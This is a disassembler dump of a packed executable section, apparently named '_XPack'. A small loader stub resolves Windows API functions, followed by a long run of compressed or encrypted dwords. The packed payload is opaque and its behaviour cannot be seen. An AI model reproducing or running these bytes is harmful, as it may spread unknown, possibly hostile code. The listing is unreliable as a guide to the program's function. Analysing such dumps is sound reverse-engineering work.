_XPack0		ends

; Section 2. (virtual address 000E1000)
; Virtual size			: 0001FDE8 ( 130536.)
; Section size in file		: 0001FDE8 ( 130536.)
; Offset to raw	data for section: 000E1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_XPack		segment	para public 'CODE' use32
		assume cs:_XPack
		;org 4E1000h
		assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing
		dd 41DFD368h, 0E8609C00h, 62Dh,	0E1034h, 2 dup(0)
		dd 0E1044h, 0E1034h, 5 dup(0)
dword_4E1034	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4F9DFA+60r
		dd 7C801D77h, 7C801AD0h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 64616F4Ch, 7262694Ch, 41797261h
		dd 56000000h, 75747269h, 72506C61h, 6365746Fh, 5D5B0074h
		dd 0F003B83h, 0A585h, 1B89FC00h, 330C4B8Bh, 8BD1FFC0h
		dd 2FE3104Bh, 8D147B8Dh, 28BCF14h, 4C2748Dh, 30736B8h
		dd 48006A00h, 0C48BFB75h, 37FF5650h, 0E8E8h, 4770300h
		dd 0E208C783h, 0D8C481EFh, 8B000C1Ch, 0C38B0C4Bh, 738BD1FFh
		dd 74F68508h, 0C4E8B39h, 0FF5134E3h, 0C0852C55h, 3894F74h
		dd 8B107E8Bh, 0F71EE30Fh, 0C1h,	3077580h, 4141044Bh, 0E18106EBh
		dd 7FFFFFFFh, 0FF33FF51h, 0EBAB2855h, 14C683DEh, 438BC7EBh
		dd 147B8D10h, 0ADC7348Dh, 5013E391h, 5051C48Bh,	92AD206Ah
		dd 0FF5250ADh, 0E2593055h, 9D6158EFh, 54EC83C3h, 768BFC8Bh
		dd 0ACD78B0Ch, 374C084h, 0E8F8EBAAh, 0Bh, 746F6E20h, 756F6620h
		dd 5E00646Eh, 0C084AAACh, 6AFA75h, 6A5257h, 6E8h, 72724500h
		dd 5E00726Fh, 0C084AAACh, 0BE8FA75h, 55000000h,	33524553h
		dd 4C442E32h, 55FF004Ch, 0CE82Ch, 654D0000h, 67617373h
		dd 786F4265h, 0FF500041h, 0D0FF2855h, 487CC483h, 2CC8C3h
		dd 5D8B6000h, 8D038B0Ch, 89048344h, 3353F845h, 0FC4589C0h
		dd 89F44589h, 4589F045h, 4589400Ch, 0E84589ECh,	89E44589h
		dd 7D8BD845h, 400B810h,	36B90000h, 0F3000307h, 5A056AABh
		dd 3BEE8h, 0F8754A00h, 8B58FF6Ah, 4D8BF075h, 10558BF4h
		dd 0C103E683h, 0CE0304E1h, 0E88A148Dh, 3B9h, 0D6830Fh
		dd 0D0E80000h, 0F000003h, 69FC4DB6h, 0C00C9h, 8BDB3300h
		dd 83431075h, 8D07F47Dh, 1CD8318Ch, 4D890000h, 8B547CE0h
		dd 4D2BF04Dh, 8758BECh,	310CB60Fh, 0D1DC4D89h, 758BDC65h
		dd 0E07D8BDCh, 100E681h, 0C8D0000h, 8F948D1Eh, 400h, 360E8h
		dd 0E80D7300h, 37Bh, 0F685DB03h, 0DEB3875h, 383E8h, 8DF68500h
		dd 74011B5Ch, 0FB8129h,	7C000001h, 8B27EBBEh, 148DE04Dh
		dd 32FE899h, 9730000h, 34AE8h, 0EBDB0300h, 356E809h, 5C8D0000h
		dd 0FB81011Bh, 100h, 758BD97Ch,	84D8BF0h, 83F045FFh, 8804F47Dh
		dd 1C88FC5Dh, 83097D0Eh, 0E900F465h, 0FFFFFF23h, 0AF47D83h
		dd 6D83097Dh, 14E903F4h, 83FFFFFFh, 0E906F46Dh,	0FFFFFF0Bh
		dd 30FE8h, 0F4558B00h, 8D104D8Bh, 3009194h, 0C6E80000h
		dd 73000002h, 2E1E836h,	7D830000h, 4D8B07F4h, 0D84D89E8h
		dd 89E44D8Bh, 4D8BE84Dh, 0E44D89ECh, 6583067Dh,	5EB00F4h
		dd 458F036Ah, 10558BF4h, 0CC8C281h, 0EEE90000h,	0E8000000h
		dd 2C0h, 8BF44D8Bh, 948D1055h, 3308Ah, 277E800h, 56730000h
		dd 292E8h, 0F44D8B00h, 0C10FC183h, 7D8B04E1h, 8DCE0310h
		dd 5AE88F14h, 73000002h, 275E832h, 758B0000h, 83C933F0h
		dd 8B07F47Dh, 9D0F0855h, 94C8DC1h, 0F44D8909h, 2BF04D8Bh
		dd 45FFEC4Dh, 110C8AF0h, 88FC4D88h, 54E9160Ch, 0E8FFFFFEh
		dd 258h, 51E863EBh, 8B000002h, 4D8B1055h, 8A948DF4h, 360h
		dd 208E8h, 0E80A7300h, 223h, 0EBE44D8Bh, 22EE837h, 4D8B0000h
		dd 10558BF4h, 908A948Dh, 0E8000003h, 1E5h, 0E80A73h, 8B000002h
		dd 0EEBE84Dh, 20BE8h, 0E8558B00h, 89D84D8Bh, 558BD855h
		dd 0E85589E4h, 89EC558Bh, 4D89E455h, 83C933ECh,	0F07F47Dh
		dd 8349C19Dh, 0C183FDE1h, 0F44D890Bh, 8110558Bh, 14D0C2h
		dd 19BE800h, 10730000h,	1B6E8h,	0C1006A00h, 5C8D05E6h
		dd 20EB0816h, 1BBE8h, 4C28300h,	17CE8h,	0E8157300h, 197h
		dd 8D05E6C1h, 204169Ch,	86A0000h, 0FEB036Ah, 197E8h, 49A8D00h
		dd 6A000004h, 59086A10h, 51D44D89h, 18BE8h, 0F6335900h
		dd 0D3DA8B46h, 0CE2B59E6h, 7D83D903h, 0F5304F4h, 0BD8Dh
		dd 0F4458300h, 4FB8307h, 0CB8B047Dh, 36A03EBh, 10758B59h
		dd 8D08E1C1h, 6C0319Ch,	66A0000h, 0E8D4458Fh, 14Ch, 8340EA83h
		dd 0FA8B04FAh, 5B8C0Fh,	0CA8B0000h, 0E783F9D1h,	0CF834901h
		dd 0EFA8302h, 7DD44D89h, 8BE7D312h, 8BCA2BCFh, 9C8D1055h
		dd 0ABC8Ah, 832CEB00h, 0E85104E9h, 0B0h, 0FF03E8D1h, 720C4539h
		dd 0C452906h, 5901CF83h, 5D8BE8E2h, 88C38110h, 0C100000Ch
		dd 46A04E7h, 6AD4458Fh,	0DC458F01h, 0E3E8h, 7D894700h
		dd 2C745BECh, 43F04D8Bh, 343CF2Bh, 118A084Dh, 8BF0758Bh
		dd 0FF4B087Dh, 8541F045h, 0FC5588DBh, 753E1488h, 0FCA5E9E9h
		dd 8B5BFFFFh, 0D4EBEC7Dh, 0E30F8B5Fh, 8B046A46h, 4D8B0875h
		dd 0C7835AF0h, 73D13B04h, 3C42AC36h, 3C1674E8h,	3C1274E9h
		dd 3BEE750Fh, 0AC2473D1h, 72803C42h, 778F3CEAh,	74173BE6h
		dd 3C068BD9h, 32D6750Dh, 2BC80FC0h, 830689C2h, 0C28304C6h
		dd 61C6EB04h, 0CC2C9h, 3Dh, 56197301h, 8BF8758Bh, 0B60F0C4Dh
		dd 8E1C136h, 0E0C1CE0Bh, 0F845FF08h, 5E0C4D89h,	0FFDAE8C3h
		dd 0A8BFFFFh, 0EFC1F88Bh, 0F9AF0F0Bh, 0C30C7D39h, 0BFC78Bh
		dd 2B000008h, 5EFC1F9h,	0E8C3F903h, 0FFFFFFECh,	29C33A89h
		dd 0C72B0C7Dh, 0EFC1F98Bh, 0C3CF2B05h, 0FFFFEEE8h, 0C30A89FFh
		dd 5742D233h, 0FFFF97E8h, 930C8BFFh, 0FFFFB7E8h, 0E80D73FFh
		dd 0FFFFFFBCh, 3933C89h, 10EB5FD2h, 0FFFFC6E8h,	930C89FFh
		dd 112548Dh, 0DC7D0B5Fh, 0FFDC65D1h, 0CB75D44Dh, 0FA44E8C3h
		dd 0FFFFh, 7C80h, 915C0040h, 11340042h,	1004Eh,	10000000h
		dd 87820040h, 10001h, 10000000h, 65B80040h, 80002h, 0B06F0000h
		dd 0B08C0000h, 0B2620000h, 0F7420001h, 0FBFC0001h, 0FC990001h
		dd 4BD70001h, 4C210002h, 2A000002h, 1285D9A2h, 0C952EAEh
		dd 0B2909EC5h, 203ADCE3h, 0FA69F4CFh, 0A18542C3h, 7E07FC32h
		dd 39DA5A06h, 0DC2BFB11h, 7557BE55h, 0C7635E5Eh, 0B9B34F4h
		dd 80A6AB17h, 6EAD265Eh, 93BD2357h, 0D76C9D16h,	8A062CC6h
		dd 0FCAD56A6h, 2CA6A38Dh, 860670BEh, 941FC562h,	0CAFB3EBAh
		dd 0A3ABF677h, 0EB0DB181h, 38847A3Ch, 8AE212A3h, 1FA99C00h
		dd 3147888Eh, 64BB8B82h, 46E4C9FFh, 3D184624h, 9DEC1C5Ah
		dd 98256233h, 0FD444ADFh, 0FD6FA792h, 2678966Bh, 0FCE405Ah
		dd 5E16CEE2h, 5A2B8A56h, 1EE8D9D9h, 9A36CD0Ah, 0C20BBC3Ah
		dd 27CCF1B3h, 755B9AC2h, 2017B564h, 3A67F0AFh, 0AF6DB8CFh
		dd 61F70BB1h, 19C42B9Ch, 6378F983h, 7E0D4144h, 19CAF716h
		dd 7977FA01h, 0AEC0ACEFh, 0AF922E7Dh, 394FE3F8h, 59F479FEh
		dd 8A357DBAh, 4EA43A56h, 24C3AB66h, 0AB9FFC7Dh,	1ACCF047h
		dd 0F6C1A37Fh, 2A43D9D9h, 4A433B8h, 0B563A233h,	1C59106Fh
		dd 930733ECh, 2D409EC7h, 212E3015h, 0A1DB5CDEh,	6C1EF6F2h
		dd 415F650Fh, 0F1803827h, 0EA159098h, 9D050A90h, 2441AABBh
		dd 0EAFC9F99h, 0E3502282h, 1159220Ch, 0F288E28Dh, 4A6F51DFh
		dd 9A0B5C7h, 0A47B5907h, 55FE097Bh, 0C85728CFh,	0EC909102h
		dd 0A437C4A0h, 71D57740h, 0AB27567h, 0F37A0A80h, 3EE21DB8h
		dd 9D87FCCFh, 19C2269Dh, 0AD11532Eh, 24991485h,	0F5895E4Ah
		dd 373E6063h, 92AF4619h, 2345ADEDh, 7E0A9588h, 79675BEFh
		dd 0C2C20F0Ah, 0EB116F13h, 0DE923A9Ah, 0BA63BBA3h, 0B36E30BAh
		dd 9BE85791h, 419AB3A0h, 0FC511BF6h
		dd 4CA08C64h, 0A3A456A4h, 19AEC637h, 0E024F266h, 6529C19Ah
		dd 41D689Ah, 0FCE5A7F3h, 0C92AED15h, 6933994h, 0EE6E36FCh
		dd 6C1B79h, 1538F4F9h, 7B711BC1h, 9121FF18h, 0A3144C28h
		dd 352E3166h, 8DE102Ch,	65018BD6h, 775E120Ch, 45615E05h
		dd 52061C0Ah, 47A9DECh,	0D1B6DAA9h, 0B5A81941h,	939E90B9h
		dd 6777A66Bh, 806E6B4Eh, 16C35B95h, 3A782D75h, 2370CA82h
		dd 8A497F95h, 6864BD11h, 8D8D6935h, 0FF1F86B6h,	0D592205Fh
		dd 469FFAD0h, 1377DA89h, 60328516h, 6950E1DCh, 0C9CE2292h
		dd 20F099F7h, 816A3EC7h, 2275451Dh, 8B52E2AAh, 0DDB3008Dh
		dd 688A667Fh, 8D65BAD0h, 1216BA24h, 6D839DC0h, 0ADDEA18Ch
		dd 4BD4F58Bh, 608C7135h, 2BCCA632h, 6259C70Bh, 0CD07B696h
		dd 9503DCB5h, 0AE6C1583h, 65B4C55Ah, 2FAF9B97h,	0FCD6B785h
		dd 0A14BDB75h, 2F170320h, 0D2433AAEh, 0F5E68F39h, 0E335CC63h
		dd 2C558BFh, 0F37D1ABEh, 71C95070h, 49159502h, 0A5101468h
		dd 0F1CA8C4Ah, 0DE4C8718h, 0F7C64A33h, 39EE0636h, 0AFB2A7E9h
		dd 0AE495B88h, 3DDB4A7h, 8EBB7539h, 212A698Bh, 0B2EBFAD0h
		dd 0F8CC6DD6h, 8E6FDB55h, 0ACD9F9FEh, 0E072C076h, 14AA7646h
		dd 0D3880614h, 0BDD803F6h, 0F9710EFDh, 23E1E3Dh, 815284Ch
		dd 69342932h, 10CA870Ah, 4A811624h, 3DA324C5h, 20AA8CC5h
		dd 535BE5EDh, 43AD3B64h, 7BC40A26h, 0E5C87D5Bh,	9E7236EAh
		dd 1393F710h, 33567F2Ah, 0A3BE9854h, 7CFFF833h,	0D5B8A414h
		dd 9881DFDEh, 9E203D80h, 65A95E01h, 0BD5C9615h,	1622A34h
		dd 56C1184Ch, 1B30F532h, 3468B754h, 4A2266BAh, 0C93B5D1Eh
		dd 36D19D19h, 6A949F9Ah, 4AFB05h, 0CF7283CFh, 0B614C8B2h
		dd 42FD4A73h, 15D0398h,	0ED90671h, 7CE22DF7h, 0EE0BBEF9h
		dd 0FE1274Eh, 0CAE9F573h, 0CB0069D2h, 0F57D4812h, 0C0C98474h
		dd 5AFFB815h, 865E63ADh, 106D4400h, 376EBD81h, 293291B8h
		dd 64EDEDFBh, 0C2EF8389h, 0EB4F6D7Bh, 2CBC90C8h, 853D5991h
		dd 31057BEBh, 0FF88DB0Fh, 6DE75DC2h, 0B6626DC5h, 0CE56F97h
		dd 0AC997E50h, 7C69C1CDh, 0A2BF7F67h, 0E0DCB771h, 2135D4E5h
		dd 0E42C328Ah, 0C271254h, 0E0713EA9h, 0A153BE79h, 0EC08C8E7h
		dd 62A9C009h, 0AD1E470Fh, 0DE74F31Dh, 0C3353936h, 655279E5h
		dd 0ECD61E7Fh, 0CB662801h, 358FFB15h, 76FBACE4h, 1CDA9A99h
		dd 466B7CCDh, 53D83A06h, 6BE6232Fh, 0DD67A0E3h,	0BA5B61F7h
		dd 88BABDDh, 92AE0DF7h,	87E9A1C1h, 0DBAC9A60h, 0DEB68005h
		dd 0C41A17F7h, 9A34504Bh, 3B6AD916h, 0D687B836h, 7BC4C85Ch
		dd 68A04D31h, 1F5134Dh,	413074A1h, 0D0E3E6E0h, 4A02573h
		dd 0A1A4EC13h, 67710B78h, 0CDD3B738h, 6DF96E71h, 78CF82D2h
		dd 80EAE338h, 5983A333h, 0EB4378DEh, 1AD91C8h, 0FC193421h
		dd 25DD7Fh, 185272C6h, 69283042h, 10A26C41h, 381BFFF9h
		dd 0DA2B6713h, 0F982F744h, 0C24D1838h, 0CE5F10FAh, 0B2255849h
		dd 93BE41D6h, 9FDF8044h, 7BE84245h, 8C49B4D4h, 1F3FCD85h
		dd 7BF25E52h, 86714D69h, 9186DD98h, 74087B51h, 1BCE3DAFh
		dd 65824B2Dh, 8A98281h,	5F8E95D8h, 72D6EE71h, 83231052h
		dd 2B9AFBF5h, 6108B7F0h, 73E88A8Fh, 3F5C7631h, 6CE9A642h
		dd 0CEABBEA2h, 4FCF3A53h, 0C8B2353Bh, 0FD8CF3D5h, 0B9A07BFFh
		dd 6DC517Dh, 83B32251h,	0E770EEEFh, 9C201794h, 0EE7EFD08h
		dd 0A531133Bh, 7E42F7C1h, 0F984843Ah, 0FF0A0035h, 4661742Dh
		dd 679FDDC7h, 924ED9CCh, 8A8B6AFCh, 0D3BA5DBCh,	88DC8B4Eh
		dd 49362789h, 0BC2FFC97h, 4FAED9A9h, 4A80563Ah,	0BC542173h
		dd 1571AA87h, 4ACD7608h, 843B63Bh, 2F6A0913h, 0B4994A78h
		dd 3BA1E688h, 22A78F6h,	0F3D1CAFBh, 0C0AB46E0h,	76ADC716h
		dd 43F096B6h, 0C960BF53h, 6F3C8973h, 0ECD0FC31h, 0A5CA3FB2h
		dd 0D32E9FEFh, 2A99E967h, 0C3701FE2h, 51EE05FBh, 0CEF647EFh
		dd 0E209FF3Ch, 56AEFE0Ch, 3FCC68EEh, 0F789AED8h, 28FF8416h
		dd 7261B668h, 0A3D680EFh, 5C75C01Bh, 0FFC8B9D8h, 0D10E1114h
		dd 7E3F96E1h, 0D6E54BFCh, 7469E9AFh, 2B19462Eh,	2E38E99Ch
		dd 0A3E469F8h, 0A7008AA1h, 0B6549C4h, 956764F2h, 0FE88D37Eh
		dd 21945070h, 0DFAF0E56h, 0B41DF48h, 0D840B341h, 0FF8758CBh
		dd 9EBEADA6h, 0B6B0ACE8h, 0C43D2E5Ah, 0E58B4ADAh, 0C6AEAA5h
		dd 1314DB4Eh, 0CB8825A3h, 3DC54072h, 0A00A9F43h, 5645F6A8h
		dd 38879C77h, 0B2B97006h, 0BAD28564h, 8B3C813Fh, 0CF087E38h
		dd 0A56B0D12h, 7DC55713h, 2BBCB253h, 0AA682BD4h, 2756CCFh
		dd 8C804529h, 83ACCCF1h, 41A57DE2h, 5BEC2628h, 1CFC9522h
		dd 26FEA1C2h, 0D2CFBDh,	0BD814015h, 19BE042h, 0C5159636h
		dd 62DE6890h, 0E905EC33h, 1C65465Fh, 0E9EDAB69h, 99E2CE24h
		dd 7A0201Ch, 0A6DF6A14h, 8A8A9F97h, 7A1BA31Bh, 0E756ED35h
		dd 0A7AFFF6Ah, 790B1431h, 6B0C3D49h, 8BF562F6h,	0D52E34AAh
		dd 1DB2D5C3h, 0DC45F302h, 9AB08FC6h, 0C0BF1AA5h, 0E5764015h
		dd 16AD509Bh, 0D6D0571Dh, 2658E202h, 9F407C9Eh,	0C5A7C35Fh
		dd 0E5DEE1BEh, 0AC8CE65Ah, 0B9154665h, 9899B831h, 104D8148h
		dd 4884DCDDh, 0ED2F296h, 2DEB7CE1h, 38F8C42Dh, 14C97DB9h
		dd 2507FD25h, 5DEDA0ABh, 0F7A3CFC5h, 1AAD2A47h,	14750E9h
		dd 0E5223EE9h, 0AB8BCA74h, 0F7661F74h, 33D257B6h, 8DDB26FAh
		dd 1C3D71B9h, 0C33A8314h, 58E01492h, 67BA9F0Eh,	7207F842h
		dd 0CB21C0C7h, 0B4EF38B1h, 5E1DFB87h, 35981017h, 705ECBFEh
		dd 14BDFF3Ch, 667A750Bh, 758B273Eh, 13D979AAh, 0F6289279h
		dd 407DD597h, 0EB03F298h, 0A988761Fh, 0CFD198EFh, 0EB301D8Fh
		dd 0C4EBA061h, 0EC66E352h, 4B1ACFA0h, 0F02829Dh, 511EB49Ch
		dd 490B3176h, 52D4488Bh, 0DB6DCF0Eh, 900FDC87h,	0FE34C0D9h
		dd 16C7B157h, 0DFF43965h, 95C981F0h, 0A14D55FFh, 0B5DB33D5h
		dd 317A9158h, 0DBCDF350h, 6FDF838Ah, 4401F15h, 4E8ACAC3h
		dd 0F1BE1A38h, 2C660B08h, 6A239DE8h, 0FB1AF3D6h, 21AE9DB6h
		dd 0A6F8F339h, 9708221Bh, 4DFD42FCh, 29A2924Eh,	250A4C79h
		dd 0DF85A46h, 92550E3Ah, 3683D3CDh, 0A20D1F7Eh,	72E3C03Fh
		dd 513A2624h, 9EB1B95Eh, 0ACF82DFAh, 7EB6F006h,	0A5A4FEB0h
		dd 23B525F1h, 550553EBh, 41A4A4F3h, 877559A4h, 89C4BDE4h
		dd 3BB35475h, 0A9C2BA3Ah, 37A4389Ah, 8245395Fh,	1B65263Eh
		dd 672E53D8h, 626C58AFh, 0B7C42567h, 0FD156EAEh, 0BDDB946Eh
		dd 7B6CE401h, 62F4AB5Ah, 1985D699h, 551FE57Fh, 5223E81Dh
		dd 0F2356718h, 0DACC222Ah, 53F0A335h, 9F6372FDh, 5B7BEC7Ch
		dd 8EC95F17h, 0E9D40917h, 0F91DE6A9h, 0B8771CEDh, 0C4645204h
		dd 0AC47B7FFh, 8FD77446h, 0F87BF3DBh, 18ADECC0h, 1769ACF0h
		dd 0CEC891EBh, 1ED55D86h, 7874AB30h, 0A599918Ah, 0D3AE4FFCh
		dd 342F1F6Ch, 5D1338DEh, 4D541859h, 0E23B9A5Ch,	2D686983h
		dd 820CCC9Ch, 751A48B6h, 30D27FFh, 2D57AD61h, 0B55D0B6h
		dd 0B9C36F0Bh, 8F12E413h, 5D29A36h, 81E4FE41h, 0C3C49E4Ch
		dd 860C0B07h, 9D505537h, 0BA0BD5A8h, 0F28AB7BBh, 1D2802ABh
		dd 0AA89D7C1h, 63F6F7DAh, 3697FD41h, 2909072Ah,	0CFCDF64Fh
		dd 0E6C9AC8Ch, 3BB14FA2h, 264C9194h, 6D51C162h,	9B298CA0h
		dd 0A00DF361h, 84A4D900h, 1FE2B996h, 46DE742h, 42080F1Fh
		dd 0C3DD6C62h, 0B7D4FCF4h, 9523F9CFh, 0A47B156Ch, 0DBB51AF3h
		dd 0DC94F7F6h, 4549B527h
		dd 98E1F43Ch, 6E8F105Fh, 667CE583h, 6717965Bh, 0E2C80DFDh
		dd 5C0FD78Bh, 3B7A7682h, 980401EDh, 577DA0E9h, 0E569770Ah
		dd 90018925h, 0F898F42Fh, 32E3CB2Ah, 0B931CBAh,	723BE4B6h
		dd 0D9544C65h, 702799B6h, 0AE3D6EEh, 8CFC7177h,	0F14A6D5Dh
		dd 0B6B49C55h, 0FA488AF7h, 6ECB7F7Eh, 93F1B0BBh, 6F9755B8h
		dd 142A9EABh, 0FA53D7B6h, 0EE3FC3A6h, 0E34EC008h, 0B4BA1614h
		dd 7BFD0EBDh, 0C8FF88DAh, 0C47ABA42h, 0B5370585h, 0D953DC54h
		dd 325247h, 3BCB3415h, 8D491660h, 178F6B47h, 9DB6FEB1h
		dd 0F3A01036h, 0FED9B09Ah, 7DD2755Bh, 0B06DCB0Eh, 8AC43EB3h
		dd 0C5D307F6h, 6D25D45Ah, 7BDC7FAFh, 4F2A59Ah, 0D84BF240h
		dd 55A311F2h, 0C7AC6A61h, 84CB4E5Eh, 9A44F337h,	2C2A51B3h
		dd 0EC540433h, 9A585EF8h, 624E1722h, 63EB4455h,	69DADC0Fh
		dd 6034AFEDh, 0CB72E4C5h, 0A5E28E43h, 0B44FB492h, 445A5E1h
		dd 53A07523h, 4E51E84Bh, 45842166h, 0AE37127Eh,	0CCF47789h
		dd 80A1194Bh, 373BF47h,	2F3F14Dh, 65A6B3Ch, 1F78FE5Ch
		dd 30D574E2h, 5E0529D4h, 7834B8F4h, 74208CA6h, 20DE2630h
		dd 0A4E8BDh, 0AE102904h, 6600CB6Ch, 76510B0Dh, 0A73440C0h
		dd 7BA81B29h, 5FD364C6h, 0E1B98B41h, 0EC25C621h, 0EB3EEC44h
		dd 0E78F893Ch, 5B6EBD31h, 0E6C0E8C3h, 0B449EAC2h, 0F2A3FF4Bh
		dd 823DED7Ch, 720B5DC2h, 0CCDF7B9Fh, 0FB0C9E6Bh, 131BE817h
		dd 0AF9ADAD0h, 0A7EC23BCh, 35E1CE18h, 0FFD82306h, 0D78D6929h
		dd 63E6A29Bh, 0F37BDC16h, 0C7D55D49h, 96B3FBBBh, 0C60AA88Bh
		dd 17E38AAFh, 4492EA0Dh, 687FC3EEh, 852E96C1h, 0CD59F729h
		dd 0C3E84C58h, 0B3B59F3Ch, 3CCDDAE4h, 2F53E614h, 0BD82DA7h
		dd 0F6DD8ACAh, 0BC6846C3h, 4DAA24F5h, 8DA95570h, 4C5E4F7Bh
		dd 4A0CB338h, 0E7D41962h, 7F252216h, 1BB2C3AEh,	32E6FC49h
		dd 0AABEEFBh, 0F4FFDAE5h, 0C4F48E21h, 3748E755h, 20B9371Fh
		dd 0E218BDC9h, 3CABB035h, 66E12BC4h, 0AB601CECh, 0D1E1754Bh
		dd 0CC5BBEE3h, 681A60F3h, 511DFA71h, 0CE5E9CA1h, 0ABC6AE90h
		dd 0E3E2B8D8h, 0DA5DE7E2h, 5D73BBABh, 6DDF0FA5h, 65A8D557h
		dd 186C70F4h, 1AB7CD78h, 2CBFB1ADh, 9BB2F2E1h, 371B024Eh
		dd 2CE0A029h, 2647C3CBh, 7EB1A9C0h, 74101B67h, 5D8D5B5Ah
		dd 7D4653B3h, 2AA5ABD3h, 0C4A65CF8h, 42463FEFh,	0F47BE9C1h
		dd 63237357h, 0DE528083h, 0DD80C5Ah, 8DC68ED0h,	20955A8Ah
		dd 4539659Bh, 0D4657922h, 4BC4AEB3h, 51090858h,	8555E967h
		dd 97DC82F1h, 9D2FDD31h, 4E2B6E8Bh, 3FCAE294h, 0BB5FF93h
		dd 75C37DF2h, 0BAF9E4B6h, 3A4D6E35h, 9B7C0FE1h,	8DD261ADh
		dd 0D56ACA08h, 4B4FDCD4h, 0A1774D37h, 0D27B2298h, 0C938197Fh
		dd 797AF567h, 31B1CEA0h, 0EBA4CCC6h, 751D24BCh,	0BAEF221Fh
		dd 1F5E5E48h, 88002AC7h, 0FA6AE026h, 0E75A5D6h,	3EDA2592h
		dd 399F0F62h, 6E5BA3C7h, 69A98019h, 8B2EA8D8h, 106780F3h
		dd 50E6905Bh, 0C18A0276h, 0A470A35Eh, 33829CAFh, 0C996FB3h
		dd 0F64F77BEh, 623ADDF1h, 798276B9h, 5082D49Ah,	9B519126h
		dd 690B3EBBh, 0ADEE6843h, 5B01ED04h, 61DCAF40h,	8809D898h
		dd 0D6B56FA4h, 2650F5D3h, 0FA74CC51h, 0DA35BA9Dh, 34A7EF7Ch
		dd 0AA6BB3C2h, 3F327E18h, 0BBDC5874h, 9956CCC9h, 0E64E663Fh
		dd 2B0D66F1h, 0E94C0C34h, 0DDFC758Dh, 906C3E3Dh, 3B3CBB27h
		dd 454820D2h, 42715E53h, 79D1F29h, 0BFF05739h, 818E1890h
		dd 7933B7CCh, 0E9F4E9CCh, 0B441D7E3h, 468DA461h, 98D4FB57h
		dd 0B8A4C4CDh, 85DD778Fh, 0CB1C2501h, 4974D4F2h, 4A193E8Bh
		dd 9D9DDF43h, 43C34467h, 9E11AA78h, 0EC761471h,	34258CCBh
		dd 1BF7FD6h, 67DE428Eh,	9534FF6Ch, 0D531C47Fh, 8EA6859h
		dd 99C0D7DFh, 0FFF534F5h, 469430F2h, 5C2E650h, 24A639D4h
		dd 0C08A82BAh, 0CF1BC0E0h, 4FED4387h, 7B1ACBC8h, 1825C9C2h
		dd 0A49EC5A0h, 3DAF15AEh, 95145ADFh, 0C5A6AE1Fh, 0E52F9B67h
		dd 0A69622D9h, 884C757Fh, 0CAFF045Ch, 33620F0Ch, 645EE207h
		dd 456B2095h, 48B5FF06h, 0E604F3E4h, 5EDED3C4h,	0E4B1C68Bh
		dd 0D949C660h, 5B503D9Bh, 3CA13F80h, 0BB9D8C4Ch, 2562A484h
		dd 0AA55EBF0h, 3A7189A4h, 0CA24DC48h, 0CAD88B05h, 8E7DD6E0h
		dd 1978524Dh, 28E28068h, 0C2B97BC6h, 881C3320h,	0A731513Ch
		dd 0F5503CFCh, 0F08C8BCDh, 7961E70Bh, 0D52748Ch, 4568955Ah
		dd 993A47h, 7D8D5BE8h, 0E06663DEh, 6D8F2B49h, 90109424h
		dd 7D79792Ah, 0C5D3D419h, 7B183D47h, 0AD21B59Ch, 22093748h
		dd 526DEAB3h, 7C4D9B7Bh, 781A0B1Dh, 0F88133D9h,	0E4C6503h
		dd 0EA5F70BAh, 0F18CBE88h, 0DD199A4h, 67EEF569h, 8C17F242h
		dd 83DD3E4Dh, 273EDB11h, 0F360679Bh, 452EE38h, 27CA9A03h
		dd 3E62CF8Dh, 0C31FF975h, 56D7FCD3h, 7346D06Bh,	0E96F5D5Fh
		dd 0C340812Eh, 0A1553A3Eh, 5F63D901h, 72DC5CE3h, 824AE982h
		dd 0CC9DED3Fh, 728E7B4Ch, 48B2ED88h, 0F4126D80h, 6CD898A8h
		dd 0B07EDCDh, 0C5233BC4h, 0D5A7BA8Dh, 7A58422Ch, 42A2645Bh
		dd 0DF57FA1Bh, 0DAB58BFEh, 0FEEFEB3Ah, 0BFD79508h, 0A69F07EEh
		dd 0F6B2AE1Ch, 7BBF726Fh, 59FE5D1Fh, 44119080h,	2AA670A7h
		dd 8F9388B5h, 0F6A045E4h, 0E5012B89h, 72D408B1h, 7FF74126h
		dd 51AD0FD8h, 5A560D31h, 90D54AA9h, 34EAFF0h, 1954A0C6h
		dd 0E89393DDh, 25B6C9B4h, 15ADF483h, 40DDFA38h,	0A06DA5F1h
		dd 0EC07A9A8h, 311348A7h, 6BA590E8h, 137FA40Bh,	0C23C6CF4h
		dd 0F6218F1Bh, 0A27DB8DAh, 7E342F8Ah, 9505AB94h, 0CE61C55Dh
		dd 0ED80AF0Ch, 86A95650h, 8BAB6192h, 0DF6AB9Bh,	733DC3CAh
		dd 4D8969E6h, 6275F6D8h, 0E2D8C459h, 7E32B201h,	77E9AFE8h
		dd 2CC0F60h, 676DC65Ch,	0B8B349C7h, 0BBE54CC6h,	16C75FE7h
		dd 0E18B91BCh, 0A3D760DCh, 8BEB9C9Fh, 93D0B32h,	7D0BCD79h
		dd 0B4B095DEh, 330D6DDCh, 7AE0DE06h, 7D3A42B9h,	0E54DFD59h
		dd 357CDCAh, 0FE458D3Fh, 272066h, 0FCE50BA5h, 0A5A68B8Ch
		dd 92B2A13h, 0E42BF9B6h, 0DA5BF021h, 4744FA01h,	1ED41EDCh
		dd 0AE4A6ADDh, 55304BC8h, 81A16AB4h, 0E94DCFA1h, 55E98AD8h
		dd 1F3846C1h, 0E68B6D46h, 0ED2D5F75h, 6D4CB5A6h, 44386C58h
		dd 0B992EC76h, 8148FB18h, 0E534684h, 8944FE86h,	8214802h
		dd 0D9C1ED06h, 3DDDB80h, 7AF4CB3Bh, 0E11527D7h,	0D001FC85h
		dd 1D1AB8ABh, 0F96B4A08h, 0E3579367h, 9F690E3Ah, 2E16E0F9h
		dd 0CA91A5AEh, 495B3CD7h, 0C62CD253h, 67BA44C7h, 0A07093Dh
		dd 0BDD7C774h, 5E5D80E2h, 0BB93BFF7h, 8C3B5F97h, 684A0038h
		dd 0B515AF53h, 3E7E0A6Fh, 0FFFFD2BEh, 1ED9BBE5h, 3F054A61h
		dd 0D1EAAE44h, 560DBDBDh, 0FA09129Ah, 0DCF017A7h, 98990Bh
		dd 0D3ACD6D5h, 86B5B32Fh, 57F24DB4h, 0B395518Ch, 0E0D830Fh
		dd 72B4B96Ch, 9FB7E9Dh,	55B726DFh, 0D8D9C43Ah, 6710DFF2h
